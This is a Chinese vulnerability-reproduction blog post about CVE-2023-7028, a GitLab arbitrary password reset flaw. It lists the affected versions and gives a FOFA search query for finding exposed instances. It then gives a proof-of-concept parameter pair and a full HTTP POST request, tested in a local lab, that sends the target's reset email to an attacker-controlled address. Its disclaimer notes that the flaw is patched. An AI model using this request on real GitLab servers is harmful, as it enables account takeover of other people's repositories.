漏洞复现--GitLab 任意用户密码重置漏洞(CVE-2023-7028)

免责声明:

文章中涉及的漏洞均已修复,敏感信息均已做打码处理,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为!文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责

一:漏洞描述

2024年1月11日,Gitlab 官方披露 CVE-2023-7028,GitLab 任意用户密码重置漏洞,官方评级严重。攻击者可利用忘记密码功能,构造恶意请求获取密码重置链接从而重置密码。官方已发布安全更新,建议升级至最新版本,若无法升级,建议利用安全组功能设置Gitlab 仅对可信地址开放。

二:漏洞影响版本

16.1 <=GitLab CE<16.1.6

16.2 <=GitLab CE<16.2.8

16.3 <=GitLab CE<16.3.6

16.4 <=GitLab CE<16.4.4

16.5 <=GitLab CE<16.5.6

16.6 <=GitLab CE<16.6.4

16.7 <=GitLab CE<16.7.2

16.1 <=GitLab EE<16.1.6

16.2 <=GitLab EE<16.2.8

16.3 <=GitLab EE<16.3.6

16.4 <=GitLab EE<16.4.4

16.5 <=GitLab EE<16.5.6

16.6 <=GitLab EE<16.6.4

16.7 <=GitLab EE<16.7.2

三:网络空间测绘查询

fofa:
app="GitLab"

四:漏洞复现

由于此漏洞利用条件为需获取系统已有用户注册邮箱地址,此次复现在本地搭建docker环境复现。

访问找回密码页面:/users/password/new,输入目标邮箱,抓包

POC:
user[email][]=mubiao@email.com&user[email][]=attacker@email.com

构造数据包,注意authenticity_token字段每次是不同的

复制代码
POST /users/password HTTP/1.1
Host: 192.168.200.130:9980
Content-Length: 175
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.200.130:9980
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.200.130:9980/users/password/new
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: preferred_language=zh_CN; 16.5.4-hide-alert-modal=true; known_sign_in=YlhGQWZqemF5Ri90bGh3WkZKdmQ0amtrSTVJdmtSTXRycWxQRjB3Tm1aTDczTnpmaGVLY1JPanZEdENQV3FRNmVsS3FWOG5YQzJIK2tpMytwMVV4MnZ1YlhUZFZzK2xHVVZ6TlAxWlJicjBDdmovdWpXVng1RzBYMlVtbENHV0ktLUhqYnNYM2pDM3pOdk1wN2wraGJLNVE9PQ%3D%3D--0ca69ec494c505a0cfec65e71a8c2315e444fcff; _gitlab_session=95c98f8c215016ce1c31bcd676c8c9d0
Connection: close

authenticity_token=XK1-wmJyvT2Jre1VEQ2ufEmR2GmsSju99_kJRgczjgIJArZH5yT2h44izgBfX0x0OW9VLtQbUz2yt9w--1wNag&user%5Bemail%5D=mubiao%40email.com&user%5Bemail%5D=attacker@email.com

跟随重定向

可以看到提示,如果两个邮箱都成功注册过,那么攻击者邮箱将会收到目标用户的重置密码邮件

相关推荐
深盾安全1 小时前
ProGuard混淆在Android程序中的应用
安全
CYRUS_STUDIO1 小时前
利用 Linux 信号机制(SIGTRAP)实现 Android 下的反调试
android·安全·逆向
白帽黑客沐瑶6 小时前
【网络安全就业】信息安全专业的就业前景(非常详细)零基础入门到精通,收藏这篇就够了
网络·安全·web安全·计算机·程序员·编程·网络安全就业
深盾安全6 小时前
符号执行技术实践-求解程序密码
安全
贾维思基7 小时前
被监管警告后,我连夜给系统上了“双保险”!
安全
00后程序员张8 小时前
iOS App 混淆与加固对比 源码混淆与ipa文件混淆的区别、iOS代码保护与应用安全场景最佳实践
android·安全·ios·小程序·uni-app·iphone·webview
Devil枫11 小时前
鸿蒙深链落地实战:从安全解析到异常兜底的全链路设计
安全·华为·harmonyos
lubiii_18 小时前
网络安全渗透测试第一步信息收集
安全·web安全·网络安全
你的人类朋友20 小时前
🔒什么是HMAC
后端·安全·程序员
阿部多瑞 ABU1 天前
《基于国产Linux的机房终端安全重构方案》
linux·安全